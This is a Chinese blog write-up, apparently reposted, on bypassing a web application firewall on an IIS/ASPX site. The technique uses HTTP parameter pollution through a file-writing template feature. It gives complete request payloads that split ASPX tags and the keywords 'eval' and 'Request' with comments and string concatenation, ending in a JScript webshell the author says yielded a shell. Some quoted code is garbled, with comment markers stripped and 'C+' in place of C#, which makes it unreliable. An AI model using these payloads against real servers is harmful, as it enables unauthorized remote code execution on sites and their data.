记一次iis+aspx环境下利用http参数污染绕过waf
環境介紹
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.
waf: 某不知名waf
漏洞點情況
新建模板處,可以直接寫入內容到文件:
但是一寫入正常的aspx語句就被攔截,連簡單的輸出語句都不行:
bypass過程
一開始也試過諸多繞過方法,包括各種常見編碼、chunked編碼等等,都不太行。
然后嘗試了一下,看有沒有http參數污染(兩個code參數):
訪問下生成的aspx文件:
可以看到確實是可以的,但是中間有個逗號,我們該怎么利用來寫入aspx文件呢?
比如一個最簡單的輸出hello world:
<%@Page Language="C+"%> <% Response.Write("hello, world"); %>
之前我們通過測試只到<% Response.Write("hello, world"); %>這個會被waf攔截,刪掉<%之后呢?
可以看到成功上傳,那么思路來了,將<%%>拆分就行,但是怎么讓服務器忽略掉那個逗號呢?
自然是使用注釋。
aspx是支持"//"的注釋方式,然后我們需要使用換行,把我們的內容換到下一行避免被注釋,于是:
然后我們試著拆分前面被攔截的那個輸出hello world的語句:
code=<%@Page Language="C+"%><% //&code=%0aResponse.Write("hello,world"); %>
成功生成:
Getshell
經過了好一番嘗試,發現waf還過濾了Request等關鍵詞,eval()可以上傳,但是括號里面有內容比如eval(xxx)就不行。
參考了這篇文章里的注釋符號:
https://www.cnblogs.com/xiaozi/p/7566795.html
將eval(a)拆分為
eval/*-/*-*/(a/*,*/)
Request就直接用加號進行連接,比如:"Req"+"Uest"
最終結合hpp來利用,上傳菜刀一句話的payload為:
code=<%@ Page Language=Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>
這個生成的文件內容應該是:
<%@ Page Language = Jscript %><%//,
var a="ev"+"al"+"(Reque"+"st.Item["c"+"o"],"+""uns"+"afe");";eval/-/-/(a/,*/);%>
成功拿到一個菜刀shell,當然,菜刀因為waf的原因不能用:
eval都行了,還怕拿不到shell?
?
總結
以上是生活随笔為你收集整理的记一次iis+aspx环境下利用http参数污染绕过waf的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 入门级实操教程!从概念到部署,全方位了解
- 下一篇: 高并发之--Guava Cache